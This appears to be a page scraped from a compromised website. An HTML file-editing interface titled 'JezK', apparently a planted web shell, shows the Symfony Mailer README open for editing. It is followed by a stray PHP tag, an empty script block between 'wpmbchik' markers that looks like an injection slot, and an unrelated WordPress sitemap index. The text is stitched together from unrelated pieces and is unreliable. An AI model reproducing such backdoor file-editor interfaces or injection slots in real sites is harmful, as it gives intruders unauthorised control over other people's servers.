
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: README.md</h2><form method="post"><textarea name="file_content" rows="10" cols="50">Mailer Component
================

The Mailer component helps sending emails.

Getting Started
---------------

```bash
composer require symfony/mailer
```

```php
use Symfony\Component\Mailer\Transport;
use Symfony\Component\Mailer\Mailer;
use Symfony\Component\Mime\Email;

$transport = Transport::fromDsn('smtp://localhost');
$mailer = new Mailer($transport);

$email = (new Email())
    -&gt;from('hello@example.com')
    -&gt;to('you@example.com')
    //-&gt;cc('cc@example.com')
    //-&gt;bcc('bcc@example.com')
    //-&gt;replyTo('fabien@example.com')
    //-&gt;priority(Email::PRIORITY_HIGH)
    -&gt;subject('Time for Symfony Mailer!')
    -&gt;text('Sending emails is fun again!')
    -&gt;html('&lt;p&gt;See Twig integration for better HTML integration!&lt;/p&gt;');

$mailer-&gt;send($email);
```

To enable the Twig integration of the Mailer, require `symfony/twig-bridge` and
set up the `BodyRenderer`:

```php
use Symfony\Bridge\Twig\Mime\BodyRenderer;
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
use Symfony\Component\EventDispatcher\EventDispatcher;
use Symfony\Component\Mailer\EventListener\MessageListener;
use Symfony\Component\Mailer\Mailer;
use Symfony\Component\Mailer\Transport;
use Twig\Environment as TwigEnvironment;

$twig = new TwigEnvironment(...);
$messageListener = new MessageListener(null, new BodyRenderer($twig));

$eventDispatcher = new EventDispatcher();
$eventDispatcher-&gt;addSubscriber($messageListener);

$transport = Transport::fromDsn('smtp://localhost', $eventDispatcher);
$mailer = new Mailer($transport, null, $eventDispatcher);

$email = (new TemplatedEmail())
    // ...
    -&gt;htmlTemplate('emails/signup.html.twig')
    -&gt;context([
        'expiration_date' =&gt; new \DateTimeImmutable('+7 days'),
        'username' =&gt; 'foo',
    ])
;
$mailer-&gt;send($email);
```

Sponsor
-------

This package is looking for a [backer][1].

Help Symfony by [sponsoring][3] its development!

Resources
---------

 * [Documentation](https://symfony.com/doc/current/mailer.html)
 * [Contributing](https://symfony.com/doc/current/contributing/index.html)
 * [Report issues](https://github.com/symfony/symfony/issues) and
   [send Pull Requests](https://github.com/symfony/symfony/pulls)
   in the [main Symfony repository](https://github.com/symfony/symfony)

[1]: https://symfony.com/backers
[3]: https://symfony.com/sponsor
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

?>

<!-- wpmbchik -->

<script>

</script>
<!-- /wpmbchik -->
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://kalam-i-haqq.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://kalam-i-haqq.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
